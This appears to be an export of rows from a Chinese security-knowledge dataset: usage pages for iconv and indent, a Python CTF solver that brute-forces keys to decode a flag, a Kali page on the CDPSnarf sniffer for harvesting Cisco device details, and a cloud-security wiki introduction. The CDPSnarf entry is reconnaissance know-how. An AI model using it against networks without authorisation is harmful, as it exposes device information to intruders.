'timeout' => 2.0,
]);
$response = $client->get('http://httpbin.org/get');
$body = $response->getBody();
echo $body;
|
sec-knowleage
|
iconv
===
转换文件的编码方式
## 补充说明
**iconv命令** 是用来转换文件的编码方式的,比如它可以将UTF8编码的转换成GB18030的编码,反过来也行。JDK中也提供了类似的工具native2ascii。Linux下的iconv开发库包括iconv_open,iconv_close,iconv等C函数,可以用来在C/C++程序中很方便的转换字符编码,这在抓取网页的程序中很有用处,而iconv命令在调试此类程序时用得着。
### 语法
```shell
iconv -f encoding [-t encoding] [inputfile]...
```
### 选项
```shell
-f encoding :把字符从encoding编码开始转换。
-t encoding :把字符转换到encoding编码。
-l :列出已知的编码字符集合
-o file :指定输出文件
-c :忽略输出的非法字符
-s :禁止警告信息,但不是错误信息
--verbose :显示进度信息
-f和-t所能指定的合法字符在-l选项的命令里面都列出来了。
```
### 实例
列出当前支持的字符编码:
```shell
iconv -l
```
将文件file1转码,转后文件输出到fil2中:
```shell
iconv file1 -f EUC-JP-MS -t UTF-8 -o file2
```
这里,没`-o`那么会输出到标准输出。
|
sec-knowleage
|
v5 = [0] * 32
if 1:
v5[0] = -25095;
v5[1] = 1630;
v5[2] = 15252;
v5[3] = -1319;
v5[4] = -15399;
v5[5] = -494;
v5[6] = -23173;
v5[7] = -28535;
v5[8] = 16303;
v5[9] = -17615;
v5[10] = 19629;
v5[11] = 5141;
v5[12] = 29901;
v5[13] = -12534;
v5[14] = 7393;
v5[15] = -19110;
v5[16] = 21702;
v5[17] = -32129;
v5[18] = 6045;
v5[19] = 26329;
v5[20] = -128;
v5[21] = -32474;
v5[22] = 21881;
v5[23] = 19181;
v5[24] = 24445;
v5[25] = 17167;
v5[26] = 12004;
v5[27] = 4764;
v5[28] = -9267;
v5[29] = -5296;
v5[30] = -29272;
v5[31] = -16943;
def ror(x):
return ((x >> 1) | (x << 15)) & 0xffff
def enc(key):
r = ""
for c in v5:
c += 65536
c &= 0xffff
key = ror(key) ^ c
r += chr(key & 0xff)
return r
addr = [0] * 32
if 1:
addr[0] = 0xE0908;
addr[1] = 0xE0930;
addr[2] = 0xE0958;
addr[3] = 0xE0980;
addr[4] = 0xE09A8;
addr[5] = 0xE09A8;
addr[6] = 0xE09A8;
addr[7] = 0xE09D0;
addr[8] = 0xE09F8;
addr[9] = 0xE0A20;
addr[10] = 0xE0A48;
addr[11] = 0xE0A70;
addr[12] = 0xE0A70;
addr[13] = 0xE0A98;
addr[14] = 0xE0AC0;
addr[15] = 0xE0AE8;
addr[16] = 0xE0B10;
addr[17] = 0xE0B38;
addr[18] = 0xE0B60;
addr[19] = 0xE0B88;
addr[20] = 0xE0BB0;
addr[21] = 0xE0BD8;
addr[22] = 0xE0C00;
addr[23] = 0xE0C00;
addr[24] = 0xE0C28;
addr[25] = 0xE0C50;
addr[26] = 0xE0C78;
addr[27] = 0xE0CA0;
addr[28] = 0xE0CC8;
addr[29] = 0xE0C78;
addr[30] = 0xE0CF0;
addr[31] = 0xE0CF0;
data = open("all2", "rb").read()
result = [0] * 32
for i in range(32):
exp = data[addr[i]:][:32]
hi = None
for key in range(65536):
buf = enc(key)
if buf == exp:
hi = key >> 8
hik = key
hik ^= 0x6666
if i / 8 == 0:
assert hik % 123 == 0
hik /= 123
elif i / 8 == 1:
hik -= 20384 + i % 8
elif i / 8 == 2:
hik ^= 0x73ab
elif i / 8 == 3:
hik -= 9981
a = i / 8
b = i % 8
result[4 * b + a] = hik
print hik, chr(hik), repr("".join(chr(c) for c in result))
|
sec-knowleage
|
---
title: Kali Linux信息收集之CDPSnarf
categories: Information Gathering
tags: [kali linux,cdp,cdpsnarf,sniffing,information gathering,enumeration]
date: 2016-10-19 13:33:31
---
0x00 CDPSnarf介绍
-------------
CDPSnarf是专门用于从CDP包提取信息的网络嗅探器,它提供所有信息通过一个“show cdp neighbors detail”命令返回Cisco路由器信息,甚至更多信息。
其工作原理主要是利用Cisco的[CDP协议][1],来发现连接Cisco设备的设备的相关信息(CDP协议中包含),包括IP地址、操作系统及其版本、路由信息等等。几乎所有的Cisco设备都支持CDP协议。实际上它就是个接受Cisco设备发送的CDP协议数据包的软件,然后通过解析数据包来得到设备的信息,协议包中的包含的信息可以参考下面的特性。
- CDP广告之间的时间间隔
- CDP协议的版本号
- TTL
- 设备的ID号
- 软件版本
- 平台版本
- 地址信息
- 端口号
- 功能
- 复合
- 将输出保存成PCAP格式的文件
- 从PCAP格式文件中读
- Debugging 协议数据包
- 用IPv4和IPv6的协议测试
工具来源:https://github.com/Zapotek/cdpsnarf
[CDPSnarf主页][2] | [Kali CDPSnarf Repo仓库][3]
- 作者:Tasos “Zapotek” Laskos
- 证书:GPLv2
0x01 CDPSnarf功能
---------------
cdpsnarf - 提取CDP包中信息的网络嗅探器
```shell
root@kali:~# cdpsnarf -h
CDPSnarf v0.1.6 [$Rev: 797 $] initiated.
作者: Tasos "Zapotek" Laskos
<tasos.laskos@gmail.com>
<zapotek@segfault.gr>
主页: http://github.com/Zapotek/cdpsnarf
cdpsnarf -i <dev> [-h] [-w savefile] [-r dumpfile] [-d]
-i 定义嗅探接口
-w 将数据包写入PCAP转储文件
-r 从PCAP转储文件读取数据包
-d 显示调试信息
-h 显示帮助消息并退出
```
0x02 CDPSnarf用法示例
-----------------
在 eth0(-i)接口上扫描,并把结果写入到 test.pcap(-w)文件:
```shell
root@kali:~# cdpsnarf -i eth0 -w test.pcap
CDPSnarf v0.1.6 [$Rev: 797 $] initiated.
Author: Tasos "Zapotek" Laskos
<tasos.laskos@gmail.com>
<zapotek@segfault.gr>
Website: http://github.com/Zapotek/cdpsnarf
Reading packets from eth0.
Waiting for a CDP packet...
```
[1]: https://en.wikipedia.org/wiki/Cisco_Discovery_Protocol
[2]: https://github.com/Zapotek/cdpsnarf
[3]: http://git.kali.org/gitweb/?p=packages/cdpsnarf.git;a=summary
|
sec-knowleage
|
indent
===
格式化C语言的源文件
## 补充说明
**indent命令** 可辨识C的原始代码文件,并加以格式化,以方便程序员阅读、修改等操作。
### 语法
```shell
indent(选项)(源文件)
或
indent(选项)(源文件)(-o 目标文件)
```
### 选项
```shell
-bad:在声明区加上空白行;
-bap:添加空白行;
-bbb:在注释后面添加空白行;
-bc:在声明段中,如果出现逗号就换行;
-bl:if(或是else、for等)与后面执行区段的“{”不同行,且“}”自成一行-bli<缩排格数>设置{}缩排的格数;
-br:if(或是else、for等)与后面执行区段的“{”同行,且“}”自成一行;
-bs:在sizeof之后空一格;
-c<栏数>:将注释置于程序右侧指定的栏位;
-cd<栏数>:将注释置于声明右侧指定的栏位;
-cdb:注释符号自成一行;
-ce:将else置于“}”(if执行区段的结尾)之后;
-ci:<缩排格数>:叙述过长而换行时,指定换行后缩排的格数;
-cli<缩排格数>:使用case时,switch缩排的格数;
-cp<栏数>:将注释置于else与elseif叙述右侧指定的栏位;
-cs:在case之后空一格;
-d<缩排格数>:针对不是放在程序码右侧的注释,设置其缩排格数;
-di<栏数>:将声明区段的变量置于指定的栏位;
-fc1:针对放在每行最前端的注释,设置其格式;
-fca:设置所有注释的格式;
-gnu:使用指定的GNU格式,该参数为默认值;
-i<格数>:设置缩排的格数;
-ip<格数>:设置参数的缩排格数;
-kr:指定使用Kernighan&Ritchie的格式;
-lp:叙述过长而换行,且叙述中包含了括号时,将括号中的每行起始栏位内容垂直对其排列;
-nbad:在声明区段后不要加上空白行;
-nbap:在程序后面不添加空白行;
-nbbb:在注释段后面不添加空白行;
-nbc:在声明段中,即使出现逗号,也不换行;
-ncdb:注释符号不自成一行;
-nce:不将else置于“}”后面;
-ncs:不在case后面空一格;
-nfc1:不要格式化放在每行最前端的注释;
-nfca:不用格式化任何的注释;
-nip:参数不要缩排;
-nlp:叙述过长而换行,且叙述中包含了括号时,不用将括号中的每行起始栏位垂直对其排列;
-npcs:在调用函数名之后,不要添加空格;
-npro:不要读取indent的配置文件“.indent.pro”;
-npsl:程序类型与程序名称放在同一行;
-nsc:注释左侧不要添加星号;
-nsob:不用处理多余的空白行;
-nss:若for或while区段仅有一行时,在分号前不加空格;
-nv:不显示详细的信息;
-orig:使用berkeley格式;
-pcs:在调用函数名与“{”之间添加空格;
-psl:程序类型置于程序名称的前一行;
-sc:在每行注释左侧添加星号;
-sob:删除多余的空白行;
-ss:若for或swile区段仅有一行时,在分号前加上空格;
-st:将结果显示在标准输出设备上;
-T:数据类型名称缩排;
-ts<格数>:设置tab的长度;
-v:显示详细的执行过程;
--version:显示版本信息。
```
### 实例
使用indent命令将C语言源文件"test.c"中所有的sizeof后面添加一个空格,输入如下命令:
```shell
indent -bs /home/rootlocal/桌面/test.c
```
执行上面的命令后,用户可以打开指定的源文件查看在sizeof后面是否都添加了一个空格。由于该命令的参数非常多,所以用户可以根据实际需要选择适合的参数进行使用即可。
|
sec-knowleage
|
## 前言
`T Wiki` 是一个面向云安全方向的知识库,这一点是和其他文库最大的不同,也许这是国内第一个云安全知识文库?
搭建这个文库的起因是笔者发现在云安全方向的中文资料属实不多,少有的这些资料也很散乱,于是搭建了这个文库。
文库的地址为:[wiki.teamssix.com](https://wiki.teamssix.com/)
## 文库介绍
首先来看文库首页,文库主要分成了三个板块,分别为`云服务`、`云原生`、`云安全资源`

首先来看`云安全资源`板块,这个板块是我个人觉着整个知识库较为与众不同的地方,在这里可以看到汇总的云安全资源,比如云安全相关的文章、公众号、工具、靶场等等。

这部分的内容我也同步到了 Github 上单独作为一个项目,项目名称叫做 awesome-cloud-security,项目地址为:[https://github.com/teamssix/awesome-cloud-security](https://github.com/teamssix/awesome-cloud-security)
如果你知道一些比较好的云安全资源,欢迎留言补充,我会更新到这个板块中,首页的贡献者处也将出现你的身影。
在`云服务`板块可以看到云服务方向的文章、笔记

在`云原生`板块可以看到云原生方向的文章、笔记

目前文库的东西不算多,不过未来会不断更新,如果想要投稿,那么在`关于文库`中可以找到投稿的方式。
## 最后
相信通过这些资料能够在一定程度上帮助想要学习或者正在学习云安全的人,同时也欢迎读者一起来完善这个文库,从而帮助到更多的人,一起助力国内云安全的发展。
> 更多信息欢迎关注我的个人微信公众号:TeamsSix
>

|
sec-knowleage
|
Subsets and Splits
Top 100 EPUB Books
This query retrieves a limited set of raw data entries that belong to the 'epub_books' category, offering only basic filtering without deeper insights.